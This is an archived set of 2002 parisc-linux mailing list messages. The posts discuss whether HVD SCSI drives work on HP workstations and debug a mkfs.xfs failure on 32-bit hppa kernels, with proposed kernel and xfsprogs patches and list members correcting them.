References: <200210242234.g9OMYdrf027093@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621859 16006 80.91.229.3 (22 Nov 2014 02:04:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:19 +0000 (UTC)
Cc: taggart@carmen.fc.hp.com, richard@nairnconsulting.ca,
	parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 24 18:44:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 1E5454834; Thu, 24 Oct 2002 18:44:28 -0600 (MDT)
In-Reply-To: Message from "John David Anglin" <dave@hiauly1.hia.nrc.ca> 
   of "Thu, 24 Oct 2002 18:34:38 EDT." <200210242234.g9OMYdrf027093@hiauly1.hia.nrc.ca> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16583

"John David Anglin" wrote:
> That's not correct.  Seagate WD drives must be installed on the wide
> high-voltage differential bus.  They will not work on a SE bus (even
> a wide one).  You also need a WD bus terminator.  They are different
> from wide SE terminators.

Dave has it right.

HP did sell *narrow* HVD devices for workstations but it's rare
and IIRC only available as EISA add-on cards.

grant


From - Thu Nov 08 21:25:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735/125 Wide Diff scsi
Date: Thu, 24 Oct 2002 18:50:35 -0600
Lines: 29
Approved: news@gmane.org
Message-ID: <20021025005035.AB3E74852@dsl2.external.hp.com>
References: <200210242240.g9OMePYu027114@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621859 16007 80.91.229.3 (22 Nov 2014 02:04:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:19 +0000 (UTC)
Cc: richard@nairnconsulting.ca (Richard Nairn),
	taggart@carmen.fc.hp.com, parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 24 18:50:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id AB3E74852; Thu, 24 Oct 2002 18:50:35 -0600 (MDT)
In-Reply-To: Message from "John David Anglin" <dave@hiauly1.hia.nrc.ca> 
   of "Thu, 24 Oct 2002 18:40:25 EDT." <200210242240.g9OMePYu027114@hiauly1.hia.nrc.ca> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16584

"John David Anglin" wrote:
> > Is there any approx time for the WD driver? I have about 60G I can put on
> > my machine if it works.. Will it work if It gets plugged in the SE Chain?
> 
> No.  It may cause damage.

Not true.
Mixing SE and HVD devices on a SCSI bus will result in the interface
chips "tri-stating". ie no one can talk on the bus. But nothing smokes
either - at least not for the HP product testing I was involved with
several years ago.

> There was a question about the WD driver not too long ago.  You could search
> for the answer but I believe only hpux supports the WD interface at this
> time.

And that's going to get dropped soon too.
Last product to support HVD is based on Sym53c876 chip.
The interface cards are supported on new IA64 machines
but I'm not sure one can purchase them or purchase HVD disks.

> You may be able to add a newer LVD to the SE chain and have it
> work.  I'm not sure if it could be used as a boot device though.

The LVD should work fine as a boot device in SE mode.
LVD devices talk SE like any other SE device (AFAIK).

grant


From - Thu Nov 08 21:25:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: mkfs.xfs (xfsprogs-2.3.5) failled
Date: Fri, 25 Oct 2002 07:57:38 +0200
Lines: 36
Approved: news@gmane.org
Message-ID: <3DB5755500000A19@ocpmta7.be.tiscali.com>
References: <20021024175802.GA9490@dreamind.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621860 16008 80.91.229.3 (22 Nov 2014 02:04:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Stefan Pfetzing" <dreamind@dreamind.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Oct 24 23:58:14 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 47EA94834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 24 Oct 2002 23:58:14 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 184xU2-0006CO-00; Fri, 25 Oct 2002 07:58:10 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 25 Oct 2002 07:57:38 +0200
In-Reply-To: <20021024175802.GA9490@dreamind.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16585

Stephan,

>* jsoe0708@tiscali.be <jsoe0708@tiscali.be> [021023 09:30]:
>> Hi Stephan,
>> 
>> As you do earlier, I build a xfs-kernel diff versus 2.4.19 vanilla kernel,
>> apply it against 2.4.19-pa22 (with very small problem) and obtain a bootable
>> (and operational) kernel.
>Yup.
>
>> Now I rebuild debian package of xfsprogs-2.3.5 (cvs form) and obtain tools
>> binaries (without warning or error) but even mkfs -t xfs (mkfs.xfs) failed
>> with this concise message: "mkfs.xfs: cannot reserve space [28 - No space
>> left on device]".
>> (I try to xfs_check which failed also with a lot of error messages).
>Yea thats a problem, still in the Linux/Parisc kernel. It gives garbage
with
>BLKGETSIZE64. Simply look in the xfslibs directory where BLGKETSIZE64 is
>used
>and comment that out. Thats a disgusting hack but it leads to a set of working
>xfsprogs.
>
>If you want I can make a patch for you, but this will take some time, since
>I
>have the source not right by hand now.
Hmm I would have to be aware (as I try to implement put_user and get_user
for 64bits [ie long long] [unfortunately] without great success till now).

Evms also use BLKGETSIZE64 in a way that would be safely. The problem is
that hppa kernel just printk a bug message and do not return a error message
as ENOSYS or ENOTSUP? (duno yet how other platform manage this case)

Thanks for advise (will inform of progress)
    Joel



From - Thu Nov 08 21:25:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: mkfs.xfs (xfsprogs-2.3.5) failled
Date: Fri, 25 Oct 2002 08:04:49 +0200
Lines: 16
Approved: news@gmane.org
Message-ID: <3DB5755500000A1B@ocpmta7.be.tiscali.com>
References: <20021024190027.GF5602@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621860 16010 80.91.229.3 (22 Nov 2014 02:04:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>,
	"Stefan Pfetzing" <dreamind@dreamind.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 25 00:05:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm6.tiscalinet.be [212.35.2.61])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3D0C04834
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Oct 2002 00:05:05 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 184xad-0001Qt-00; Fri, 25 Oct 2002 08:04:59 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 25 Oct 2002 08:04:49 +0200
In-Reply-To: <20021024190027.GF5602@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16586

>
>> Hm, maybe, it has been a while since I updated that machine.
>> 
>> 2.4.19-pa9-xfs is running there.
>
>what machine was this on? is this a 32-bit or 64-bit kernel?
>
For my part it is 2.4.19-pa22 [32bits] (on a b180l)

I do think that BLGKETSIZE64 (in put_user and get_user) is well supported
in 64bits kernel but the job still have to do on 32bits kernel (?)

Thanks for attention and help,
    Joel



From - Thu Nov 08 21:25:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: mkfs.xfs (xfsprogs-2.3.5) failled
Date: Fri, 25 Oct 2002 14:58:42 +0200
Lines: 105
Approved: news@gmane.org
Message-ID: <3DB5776100000BBB@ocpmta8.be.tiscali.com>
References: <20021024190027.GF5602@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621860 16012 80.91.229.3 (22 Nov 2014 02:04:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:20 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>,
	"Stefan Pfetzing" <dreamind@dreamind.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 25 06:59:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm6.tiscalinet.be [212.35.2.61])
	by dsl2.external.hp.com (Postfix) with ESMTP id 887874834
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Oct 2002 06:59:03 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18543G-0004oa-00; Fri, 25 Oct 2002 14:58:58 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 25 Oct 2002 14:58:42 +0200
In-Reply-To: <20021024190027.GF5602@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16587

Hi Randolph,

It sure I found a bug in the two parts kernel and xfs.

A. The kernel hppa: put_user and get_user does just a printk for BUG messages
but don't return error code as ENOTSUP (or what else) (what I assume the
other platforms does when they do not yet support BLKGETSIZE64?)

Here is a small patch I suggest:
(I do not reach to implement an operational support of BLKGETSIZE64 [for
32bits kernel]; I do not find a easy way to manage code failure :-( )

--- uaccess.h.orig	2002-10-22 15:14:54.000000000 +0200
+++ uaccess.h	2002-10-23 13:46:48.000000000 +0200
@@ -35,10 +35,10 @@
 #define get_user __get_user
 
 #if BITS_PER_LONG == 32
-#define LDD_KERNEL(ptr)		BUG()
-#define LDD_USER(ptr)		BUG()
-#define STD_KERNEL(x, ptr)	BUG()
-#define STD_USER(x, ptr)	BUG()
+#define LDD_KERNEL(ptr)		BUG(); __gu_err=ENOTSUP;
+#define LDD_USER(ptr)		BUG(); __gu_err=ENOTSUP;
+#define STD_KERNEL(x, ptr)	BUG(); __pu_err=ENOTSUP;
+#define STD_USER(x, ptr)	BUG(); __pu_err=ENOTSUP;
 #else
 #define LDD_KERNEL(ptr) __get_kernel_asm("ldd",ptr)
 #define LDD_USER(ptr) __get_user_asm("ldd",ptr)
@@ -75,7 +75,7 @@
 	    case 2: __get_kernel_asm("ldh",ptr); break; \
 	    case 4: __get_kernel_asm("ldw",ptr); break; \
 	    case 8: LDD_KERNEL(ptr); break;		\
-	    default: BUG(); break;                      \
+	    default: BUG(); __gu_err=ENOTSUP; break;    \
 	    }                                           \
 	}                                               \
 	else {                                          \
@@ -84,7 +84,7 @@
 	    case 2: __get_user_asm("ldh",ptr); break;   \
 	    case 4: __get_user_asm("ldw",ptr); break;   \
 	    case 8: LDD_USER(ptr);  break;		\
-	    default: BUG(); break;                      \
+	    default: BUG(); __gu_err=ENOTSUP; break;    \
 	    }                                           \
 	}                                               \
 							\
@@ -144,7 +144,7 @@
 	    case 2: __put_kernel_asm("sth",x,ptr); break;       \
 	    case 4: __put_kernel_asm("stw",x,ptr); break;       \
 	    case 8: STD_KERNEL(x,ptr); break;			\
-	    default: BUG(); break;                              \
+	    default: BUG(); __pu_err=ENOTSUP; break;		\
 	    }                                                   \
 	}                                                       \
 	else {                                                  \
@@ -153,7 +153,7 @@
 	    case 2: __put_user_asm("sth",x,ptr); break;         \
 	    case 4: __put_user_asm("stw",x,ptr); break;         \
 	    case 8: STD_USER(x,ptr); break;			\
-	    default: BUG(); break;                              \
+	    default: BUG(); __pu_err=ENOTSUP; break;		\
 	    }                                                   \
 	}                                                       \
 								\

If all agreed, (awaiting better :?) can somebody ci it?


Thanks in advance for attention,
    Joel

PS: 
B. in xfs:

 	error = ioctl(fd, BLKGETSIZE64, &size);
-	if (error >= 0) {
+	if (!error) {
 		/* BLKGETSIZE64 returns size in bytes not 512-byte blocks */

AFAIK ioctl should return error=0 if success and error <>0 (>0?) 

here is the full patch I will suggest:

--- cmd/xfsprogs/libxfs/init.c.orig	2002-10-25 12:12:29.000000000 +0200
+++ cmd/xfsprogs/libxfs/init.c	2002-10-25 14:22:34.000000000 +0200
@@ -155,11 +155,14 @@
 			progname, path, strerror(errno));
 		exit(1);
 	}
+#if !defined(__hppa__) || defined(__LP64__)
 	error = ioctl(fd, BLKGETSIZE64, &size);
-	if (error >= 0) {
+	if (!error) {
 		/* BLKGETSIZE64 returns size in bytes not 512-byte blocks */
 		size = size >> 9;
-	} else {
+	} else
+#endif
+        {
 		/* If BLKGETSIZE64 fails, try BLKGETSIZE */
 		unsigned long tmpsize;
 		error = ioctl(fd, BLKGETSIZE, &tmpsize);



From - Thu Nov 08 21:25:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: mkfs.xfs (xfsprogs-2.3.5) failled
Date: Fri, 25 Oct 2002 17:09:58 +0200
Lines: 127
Approved: news@gmane.org
Message-ID: <3DB5776100000C32@ocpmta8.be.tiscali.com>
References: <3DB5776100000BBB@ocpmta8.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621861 16013 80.91.229.3 (22 Nov 2014 02:04:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Randolph Chung" <randolph@tausq.org>,
	"Stefan Pfetzing" <dreamind@dreamind.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 25 09:10:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm6.tiscalinet.be [212.35.2.61])
	by dsl2.external.hp.com (Postfix) with ESMTP id CA14B4834
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Oct 2002 09:10:14 -0600 (MDT)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18566D-0003Cb-00; Fri, 25 Oct 2002 17:10:09 +0200
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 25 Oct 2002 17:09:58 +0200
In-Reply-To: <3DB5776100000BBB@ocpmta8.be.tiscali.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16588

too bad:

 man ioctl advise that it would return -1 (not ENOTSUP which would be assign
to errno) I will try to see how?

Sorry to annoy,
    Joel

>-- Original Message --
>From: jsoe0708@tiscali.be
>Subject: Re: [parisc-linux] Re: mkfs.xfs (xfsprogs-2.3.5) failled
>To: "Randolph Chung" <randolph@tausq.org>,
>	"Stefan Pfetzing" <dreamind@dreamind.de>
>Cc: parisc-linux@lists.parisc-linux.org
>Date: Fri, 25 Oct 2002 14:58:42 +0200
>
>
>Hi Randolph,
>
>It sure I found a bug in the two parts kernel and xfs.
>
>A. The kernel hppa: put_user and get_user does just a printk for BUG messages
>but don't return error code as ENOTSUP (or what else) (what I assume the
>other platforms does when they do not yet support BLKGETSIZE64?)
>
>Here is a small patch I suggest:
>(I do not reach to implement an operational support of BLKGETSIZE64 [for
>32bits kernel]; I do not find a easy way to manage code failure :-( )
>
>--- uaccess.h.orig	2002-10-22 15:14:54.000000000 +0200
>+++ uaccess.h	2002-10-23 13:46:48.000000000 +0200
>@@ -35,10 +35,10 @@
> #define get_user __get_user
> 
> #if BITS_PER_LONG == 32
>-#define LDD_KERNEL(ptr)		BUG()
>-#define LDD_USER(ptr)		BUG()
>-#define STD_KERNEL(x, ptr)	BUG()
>-#define STD_USER(x, ptr)	BUG()
>+#define LDD_KERNEL(ptr)		BUG(); __gu_err=ENOTSUP;
>+#define LDD_USER(ptr)		BUG(); __gu_err=ENOTSUP;
>+#define STD_KERNEL(x, ptr)	BUG(); __pu_err=ENOTSUP;
>+#define STD_USER(x, ptr)	BUG(); __pu_err=ENOTSUP;
> #else
> #define LDD_KERNEL(ptr) __get_kernel_asm("ldd",ptr)
> #define LDD_USER(ptr) __get_user_asm("ldd",ptr)
>@@ -75,7 +75,7 @@
> 	    case 2: __get_kernel_asm("ldh",ptr); break; \
> 	    case 4: __get_kernel_asm("ldw",ptr); break; \
> 	    case 8: LDD_KERNEL(ptr); break;		\
>-	    default: BUG(); break;                      \
>+	    default: BUG(); __gu_err=ENOTSUP; break;    \
> 	    }                                           \
> 	}                                               \
> 	else {                                          \
>@@ -84,7 +84,7 @@
> 	    case 2: __get_user_asm("ldh",ptr); break;   \
> 	    case 4: __get_user_asm("ldw",ptr); break;   \
> 	    case 8: LDD_USER(ptr);  break;		\
>-	    default: BUG(); break;                      \
>+	    default: BUG(); __gu_err=ENOTSUP; break;    \
> 	    }                                           \
> 	}                                               \
> 							\
>@@ -144,7 +144,7 @@
> 	    case 2: __put_kernel_asm("sth",x,ptr); break;       \
> 	    case 4: __put_kernel_asm("stw",x,ptr); break;       \
> 	    case 8: STD_KERNEL(x,ptr); break;			\
>-	    default: BUG(); break;                              \
>+	    default: BUG(); __pu_err=ENOTSUP; break;		\
> 	    }                                                   \
> 	}                                                       \
> 	else {                                                  \
>@@ -153,7 +153,7 @@
> 	    case 2: __put_user_asm("sth",x,ptr); break;         \
> 	    case 4: __put_user_asm("stw",x,ptr); break;         \
> 	    case 8: STD_USER(x,ptr); break;			\
>-	    default: BUG(); break;                              \
>+	    default: BUG(); __pu_err=ENOTSUP; break;		\
> 	    }                                                   \
> 	}                                                       \
> 								\
>
>If all agreed, (awaiting better :?) can somebody ci it?
>
>
>Thanks in advance for attention,
>    Joel
>
>PS: 
>B. in xfs:
>
> 	error = ioctl(fd, BLKGETSIZE64, &size);
>-	if (error >= 0) {
>+	if (!error) {
> 		/* BLKGETSIZE64 returns size in bytes not 512-byte blocks */
>
>AFAIK ioctl should return error=0 if success and error <>0 (>0?) 
>
>here is the full patch I will suggest:
>
>--- cmd/xfsprogs/libxfs/init.c.orig	2002-10-25 12:12:29.000000000 +0200
>+++ cmd/xfsprogs/libxfs/init.c	2002-10-25 14:22:34.000000000 +0200
>@@ -155,11 +155,14 @@
> 			progname, path, strerror(errno));
> 		exit(1);
> 	}
>+#if !defined(__hppa__) || defined(__LP64__)
> 	error = ioctl(fd, BLKGETSIZE64, &size);
>-	if (error >= 0) {
>+	if (!error) {
> 		/* BLKGETSIZE64 returns size in bytes not 512-byte blocks */
> 		size = size >> 9;
>-	} else {
>+	} else
>+#endif
>+        {
> 		/* If BLKGETSIZE64 fails, try BLKGETSIZE */
> 		unsigned long tmpsize;
> 		error = ioctl(fd, BLKGETSIZE, &tmpsize);
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:25:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: mkfs.xfs (xfsprogs-2.3.5) failled
Date: Fri, 25 Oct 2002 08:26:21 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20021025152620.GH22052@tausq.org>
References: <20021024190027.GF5602@tausq.org> <3DB5776100000BBB@ocpmta8.be.tiscali.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621861 16015 80.91.229.3 (22 Nov 2014 02:04:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:21 +0000 (UTC)
Cc: Stefan Pfetzing <dreamind@dreamind.de>,
	parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 25 09:23:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 378AD4834
	for <parisc-linux@lists.parisc-linux.org>; Fri, 25 Oct 2002 09:23:22 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 10F2ACD83C; Fri, 25 Oct 2002 08:26:21 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3DB5776100000BBB@ocpmta8.be.tiscali.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16589

>  #define LDD_KERNEL(ptr) __get_kernel_asm("ldd",ptr)
>  #define LDD_USER(ptr) __get_user_asm("ldd",ptr)
> @@ -75,7 +75,7 @@
>  	    case 2: __get_kernel_asm("ldh",ptr); break; \
>  	    case 4: __get_kernel_asm("ldw",ptr); break; \
>  	    case 8: LDD_KERNEL(ptr); break;		\
> -	    default: BUG(); break;                      \
> +	    default: BUG(); __gu_err=ENOTSUP; break;    \
>  	    }                                           \
>  	}                                               \

this is wrong.

get_user is not defined to return an errno, just whether it's successful
or not.

i'll take a closer look this weekend.

randolph


From - Thu Nov 08 21:25:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Branch Prediction
Date: Fri, 25 Oct 2002 13:17:32 -0400 (EDT)
Lines: 10
